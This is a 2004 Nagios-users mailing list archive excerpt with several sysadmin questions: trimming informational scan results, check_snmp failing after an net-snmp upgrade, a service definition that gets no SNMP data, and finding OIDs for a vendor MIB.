list.nessus.org This is the nagios mailing list you've written to. > -----Original Message----- > From: Randy Vinas [mailto:rvinas at emlab.com] > Sent: Wednesday, March 31, 2004 10:51 AM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Tweaking scan results > > > The scan results include a lot of information and we'd like > to trim this > down, where is this configured? The scan results are categorized as > vulnerabilities, warnings & informational. How would we turn off the > informational stuff? Thanks in advance for any help on this. > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From amy at real-time.com Wed Mar 31 23:14:04 2004 From: amy at real-time.com (Amy Tanner) Date: Wed, 31 Mar 2004 15:14:04 -0600 Subject: netsaint-plugins-snmp broken? Message-ID: <20040331211404.GY21655@real-time.com> I upgraded my nagios box from stable to testing, which upgraded snmp from 4.2.3-2 to 5.1-5 and now check_snmp no longer works. It looks like the format of the snmpget command changed between versions and check_snmp is expecting the old version. Can anyone verify this or is there a fix? Thanks. -- Amy Tanner amy at real-time.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From clint at misinc.net Wed Mar 31 23:16:16 2004 From: clint at misinc.net (Clint Sulis) Date: Wed, 31 Mar 2004 14:16:16 -0700 Subject: SNMP Plugin Help Message-ID: Hello, I'm having trouble monitoring load average, and could use some help. My SNMP service runs on port 2112 and the community is called "nagios". When I call the check_snmp plugin from a shell prompt it works great, but when I create a service to do the same thing, I get a warning that no data was received! I will provide as much information as I can about my setup and the tests I have run so far. Any advice you can give on how I can troubleshoot this more in-depth would be greatly appreciated! =================== COMMAND PROMPT TEST =================== /usr/local/nagios/libexec/check_snmp -H 69.20.4.144 -o .1.3.6.1.4.1.2021.10.1.3.1 -C nagios -p 2112 SNMP OK - "0.20" ========================== ENTRY IN CHECKCOMMANDS.CFG ========================== define command { command_name check_snmp command_line /usr/local/nagios/libexec/check_snmp -H $HOSTADDRESS$ -o $ARG1$ -C $ARG2$ -p $ARG3$ } ===================== ENTRY IN SERVICES.CFG ===================== define service { use generic_service host_name rackspace_yourmis service_description LOAD is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups admin notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_snmp!.1.3.6.1.4.1.2021.10.1.3.1!nagios!2112 } I'm really puzzled at what could be the problem. If you know how I can get more detail on what nagios might be doing wrong when it runs this service check, please let me know. Thank you! Clint Sulis ==================== System Administrator PHP/MySQL Programmer -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 2000 bytes Desc: not available URL: From tjapko at xeloq.com Wed Mar 31 23:45:40 2004 From: tjapko at xeloq.com (XeloQ Communications) Date: 31 Mar 2004 17:45:40 -0400 Subject: check snmp question Message-ID: <1080769540.15237.38.camel@dc854336e.dslam-03-16-4-02-01-01.urb.dsl.cantv.net> Hello, Installed nagios on RH9 and running well. I try to implement the chec_snmp service and therefore installed net-snmp with success. The units that I like to snmp are provided with a propietary MIB list. The unit itself are prepared for the use of snmp. After in depth trying to get the snmpget to work I end up all the time with a famous SNMP error SNMP Problem No data received from host. My big question is the -o parameter in the check_snmp plugin. I do have the vendors SNMPv2 MIB definition txt file but I don't have anything related to the OID information. As I understood from all the material I read sofar I need to tell the snmpget what info he need to take out the device that I like to manage by filling out the -o parameter by using some sort of number like 1.2.3.5.23.0 What I would like to know if is I am right and if so HOW to obtain the appropriate numbers. My command while testing sofar is looking like this: check_snmp -H 200.84.100.100 -p 161 -P 1 -m /usr/share/snmp/mib/DEVICE. MIB.txt -0 ?.?.?.? Can anybody give me a hint here? Tjapko. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null